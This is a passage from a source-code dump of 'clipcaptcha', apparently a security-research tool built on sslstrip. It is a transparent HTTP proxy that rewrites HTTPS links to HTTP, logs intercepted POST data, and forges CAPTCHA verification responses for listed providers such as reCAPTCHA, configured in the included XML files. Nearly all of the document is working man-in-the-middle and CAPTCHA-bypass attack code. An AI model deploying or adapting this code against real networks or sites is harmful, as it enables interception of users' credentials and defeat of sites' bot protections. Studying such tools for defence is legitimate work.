or len(path) == 0 or len(success) == 0 or len(failure) == 0 ): 144 | ProviderInfo.exxit("[-] One among name, hostname, path, success or failure elements not found for a CAPTCHA provider. Exiting") 145 | 146 | name = name[0] 147 | hostname = hostname[0] 148 | path = path[0] 149 | 150 | if(name.text == None or name.text.strip() == '' or hostname.text == None or hostname.text.strip() == '' or path.text == None or path.text.strip() == ''): 151 | ProviderInfo.exxit("[-] One or more of name, hostname or path elements has a blank value") 152 | 153 | tprovider = ProviderInfo(name.text.strip(), hostname.text.strip(), path.text.strip()) 154 | tprovider.addSuccessFailure(success, "success") 155 | tprovider.addSuccessFailure(failure, "failure") 156 | ProviderInfo._providers.append(tprovider) 157 | -------------------------------------------------------------------------------- /clipcaptcha/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 26 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 27 | headExpression = re.compile(r"", re.IGNORECASE) 28 | 29 | def __init__(self, command, uri, postData, headers, client): 30 | ServerConnection.__init__(self, command, uri, postData, headers, client) 31 | 32 | def getLogLevel(self): 33 | return logging.INFO 34 | 35 | def getPostPrefix(self): 36 | return "SECURE POST" 37 | 38 | def handleHeader(self, key, value): 39 | ServerConnection.handleHeader(self, key, value) 40 | 41 | def stripFileFromPath(self, path): 42 | (strippedPath, lastSlash, file) = path.rpartition('/') 43 | return strippedPath 44 | 45 | -------------------------------------------------------------------------------- /clipcaptcha/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2012 Gursev Singh Kalra McAfee, Foundstone 2 | # Copyright (c) 2004-2011 Moxie Marlinspike 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License as 6 | # published by the Free Software Foundation; either version 3 of the 7 | # License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | # General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 17 | # USA 18 | # 19 | 20 | import logging, re, string, random, zlib, gzip, StringIO 21 | 22 | from twisted.web.http import HTTPClient 23 | from URLMonitor import URLMonitor 24 | 25 | class ServerConnection(HTTPClient): 26 | 27 | ''' The server connection is where we do the bulk of the stripping. Everything that 28 | comes back is examined. The headers we dont like are removed, and the links are stripped 29 | from HTTPS to HTTP. 30 | ''' 31 | 32 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 33 | urlType = re.compile(r"https://", re.IGNORECASE) 34 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 35 | 36 | def __init__(self, command, uri, postData, headers, client): 37 | self.command = command 38 | self.uri = uri 39 | self.postData = postData 40 | self.headers = headers 41 | self.client = client 42 | self.urlMonitor = URLMonitor.getInstance() 43 | self.isImageRequest = False 44 | self.isCompressed = False 45 | self.contentLength = None 46 | self.shutdownComplete = False 47 | 48 | def getLogLevel(self): 49 | return logging.DEBUG 50 | 51 | def getPostPrefix(self): 52 | return "POST" 53 | 54 | def sendRequest(self): 55 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 56 | self.sendCommand(self.command, self.uri) 57 | 58 | def sendHeaders(self): 59 | for header, value in self.headers.items(): 60 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 61 | self.sendHeader(header, value) 62 | 63 | self.endHeaders() 64 | 65 | def sendPostData(self): 66 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 67 | self.transport.write(self.postData) 68 | 69 | def connectionMade(self): 70 | logging.log(self.getLogLevel(), "HTTP connection made.") 71 | self.sendRequest() 72 | self.sendHeaders() 73 | 74 | if (self.command == 'POST'): 75 | self.sendPostData() 76 | 77 | # TODO : Update this method to update CAPTCHA verification response Status if required for certain CAPTCHAs. THIS IS THE PLACE 78 | def handleStatus(self, version, code, message): 79 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 80 | self.client.setResponseCode(int(code), message) 81 | 82 | # TODO : Update this method to update CAPTCHA verification response headers. THIS IS THE PLACE 83 | def handleHeader(self, key, value): 84 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 85 | 86 | if (key.lower() == 'content-type'): 87 | if (value.find('image') != -1): 88 | self.isImageRequest = True 89 | logging.debug("Response is image content, not scanning...") 90 | 91 | if (key.lower() == 'content-encoding'): 92 | if (value.find('gzip') != -1): 93 | logging.debug("Response is compressed...") 94 | self.isCompressed = True 95 | elif (key.lower() == 'content-length'): 96 | self.contentLength = value 97 | else: 98 | self.client.setHeader(key, value) 99 | 100 | # TODO : Update this method to update CAPTCHA verification response headers. THIS IS THE PLACE 101 | def handleEndHeaders(self): 102 | if (self.isImageRequest and self.contentLength != None): 103 | self.client.setHeader("Content-Length", self.contentLength) 104 | 105 | if self.length == 0: 106 | self.shutdown() 107 | 108 | def handleResponsePart(self, data): 109 | if (self.isImageRequest): 110 | self.client.write(data) 111 | else: 112 | HTTPClient.handleResponsePart(self, data) 113 | 114 | def handleResponseEnd(self): 115 | if (self.isImageRequest): 116 | self.shutdown() 117 | else: 118 | HTTPClient.handleResponseEnd(self) 119 | 120 | def handleResponse(self, data): 121 | if (self.isCompressed): 122 | logging.debug("Decompressing content...") 123 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 124 | 125 | logging.log(self.getLogLevel(), "Read from server:\n" + data) 126 | 127 | if (self.contentLength != None): 128 | self.client.setHeader('Content-Length', len(data)) 129 | 130 | self.client.write(data) 131 | self.shutdown() 132 | 133 | def shutdown(self): 134 | if not self.shutdownComplete: 135 | self.shutdownComplete = True 136 | self.client.finish() 137 | self.transport.loseConnection() 138 | 139 | 140 | -------------------------------------------------------------------------------- /clipcaptcha/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /clipcaptcha/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | #StrippingProxy is HTTPChallel's derived class 23 | class StrippingProxy(HTTPChannel): 24 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 25 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 26 | We then proxy these out using HTTP or HTTPS depending on what information we have about 27 | the (connection, client_address) tuple in our cache. 28 | ''' 29 | 30 | #requestFactory is a synonym for ClientRequest 31 | requestFactory = ClientRequest 32 | -------------------------------------------------------------------------------- /clipcaptcha/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | #regular expression support 20 | import re 21 | 22 | class URLMonitor: 23 | 24 | # Start the arms race, and end up here... 25 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 26 | _instance = None 27 | 28 | def __init__(self): 29 | #A set object is an unordered collection of distinct hashable objects. . Common uses include membership testing, removing duplicates from a sequence, and computing mathematical operations such as intersection, union, difference, and symmetric difference. Like other collections, sets support x in set, len(set), and for x in set. Being an unordered collection, sets do not record element position or order of insertion. Accordingly, sets do not support indexing, slicing, or other sequence-like behavior. he set type is mutable the contents can be changed using methods like add() and remove(). Since it is mutable, it has no hash value and cannot be used as either a dictionary key or as an element of another set. 30 | self.strippedURLs = set() 31 | self.strippedURLPorts = {} 32 | 33 | def isSecureLink(self, client, url): 34 | for expression in URLMonitor.javascriptTrickery: 35 | if(re.match(expression, url)): 36 | return True 37 | 38 | return (client,url) in self.strippedURLs 39 | 40 | def getSecurePort(self, client, url): 41 | if (client,url) in self.strippedURLs: 42 | return self.strippedURLPorts[(client,url)] 43 | else: 44 | return 443 45 | 46 | def addSecureLink(self, client, url): 47 | methodIndex = url.find("//") + 2 48 | method = url[0:methodIndex] 49 | 50 | pathIndex = url.find("/", methodIndex) 51 | host = url[methodIndex:pathIndex] 52 | path = url[pathIndex:] 53 | 54 | port = 443 55 | portIndex = host.find(":") 56 | 57 | if (portIndex != -1): 58 | host = host[0:portIndex] 59 | port = host[portIndex+1:] 60 | if len(port) == 0: 61 | port = 443 62 | 63 | url = method + host + path 64 | 65 | self.strippedURLs.add((client, url)) 66 | self.strippedURLPorts[(client, url)] = int(port) 67 | 68 | 69 | def getInstance(): 70 | if URLMonitor._instance == None: 71 | URLMonitor._instance = URLMonitor() 72 | 73 | return URLMonitor._instance 74 | 75 | getInstance = staticmethod(getInstance) 76 | -------------------------------------------------------------------------------- /clipcaptcha/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/clipcaptcha/e42859349a0662ff8331fbdf87c07402f49288c0/clipcaptcha/__init__.py -------------------------------------------------------------------------------- /config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | reCAPTCHA 5 | www.google.com 6 | /recaptcha/api/verify 7 | 8 | 200 9 | OK 10 | true 11 | 12 | 13 | 200 14 | OK 15 | 16 | 17 | 18 | 19 | OpenCAPTCHA 20 | www.opencaptcha.com 21 | /validate.php 22 | 23 | 200 24 | OK 25 | pass 26 | 27 | 28 | 200 29 | OK 30 | fail 31 | 32 | 33 | 34 | Captchator 35 | captchator.com 36 | /captcha/check_answer/ 37 | 38 | 200 39 | OK 40 | 1 41 | 42 | 43 | 200 44 | OK 45 | 0 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /template.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CAPTCHA Name 5 | www.hostname.com 6 | /verify 7 | 8 | 200 9 | OK 10 | 11 |
12 | header x 13 | value x 14 |
15 |
16 | header y 17 | value y 18 |
19 | 20 | true 21 | 22 | 23 | 200 24 | OK 25 | 26 |
27 | header 1 28 | value 1 29 |
30 | 31 | 32 | 33 | 34 | 35 | 36 | --------------------------------------------------------------------------------